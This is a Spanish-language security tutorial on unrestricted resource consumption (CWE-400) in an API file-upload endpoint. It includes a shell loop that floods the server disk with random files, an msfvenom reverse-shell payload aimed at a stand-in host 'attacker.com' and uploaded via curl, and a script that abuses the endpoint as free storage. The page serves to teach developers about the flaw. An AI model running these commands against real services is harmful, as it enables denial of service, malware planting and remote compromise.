Skip to content

Tambien cuando una API no limita adecuadamente el consumo de recursos (rate-limit) por parte de los usuarios, permitiendo que consuman excesivamente:

  • 💾 Almacenamiento (espacio en disco)
  • 🌐 Ancho de banda (red)
  • ⚡ CPU y memoria
  • 📊 Bases de datos

El Problema Fundamental

🎯 CWE-400: Uncontrolled Resource Consumption

La API permite que los usuarios consuman recursos sin restricciones, lo que puede llevar a:

  1. Denial of Service (DoS) - dejar el servicio inutilizable
  2. Costos financieros elevados - más recursos = más dinero
  3. Almacenamiento de archivos maliciosos

Ejemplo

Subida de Archivos sin Límites

c
# El atacante crea archivos enormes con datos aleatorios
dd if=/dev/urandom of=archivo-grande.pdf bs=1M count=30
# Resultado: Archivo de 30MB creado

# Y la API lo acepta sin problemas:
POST /api/v1/supplier-companies/certificates-of-incorporation
Archivo: archivo-grande.pdf (30MB)
Respuesta: ✅ Éxito - Archivo guardado

Problemas Identificados:

  • Sin validación de tamaño - acepta archivos de cualquier tamaño
  • Sin validación de tipo - acepta .exe como si fuera PDF
  • Sin rate-limiting - puedes subir archivos repetidamente
  • Almacenamiento público - archivos accesibles públicamente

Ataque de Consumo de Disco

c
# Script para llenar el disco del servidor
for i in {1..1000}; do
    dd if=/dev/urandom of=file$i.pdf bs=1M count=50
    curl -X POST -F "file=@file$i.pdf" $API_URL
done
# Resultado: Servidor se queda sin espacio

Almacenamiento de Malware

c
# Subir un reverse shell como si fuera un certificado
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker.com LPORT=4444 -f exe > shell.exe
curl -X POST -F "file=@shell.exe" -F "companyId=123" $API_URL

# El archivo queda almacenado y accesible públicamente:
http://servidor.com/SupplierCompaniesCertificatesOfIncorporations/shell.exe

Abuso como Almacenamiento en la Nube

c
# Usar la API para almacenar archivos personales
def upload_to_vulnerable_api(file_path, description):
    files = {'file': open(file_path, 'rb')}
    data = {'companyId': 'victim-company-id'}
    
    response = requests.post(API_URL, files=files, data=data)
    if response.json()['success']:
        file_url = response.json()['fileUri']
        print(f"Archivo almacenado en: {file_url}")
        
# ¡Gratis almacenamiento ilimitado!

Unrestricted Resource Consumption ocurre cuando:

  1. No hay límites de tamaño en subida de archivos
  2. No se validan tipos de archivo correctamente
  3. No hay rate-limiting para prevenir abuso
  4. Los archivos se almacenan de forma insegura
  5. No hay escaneo antivirus para contenido malicioso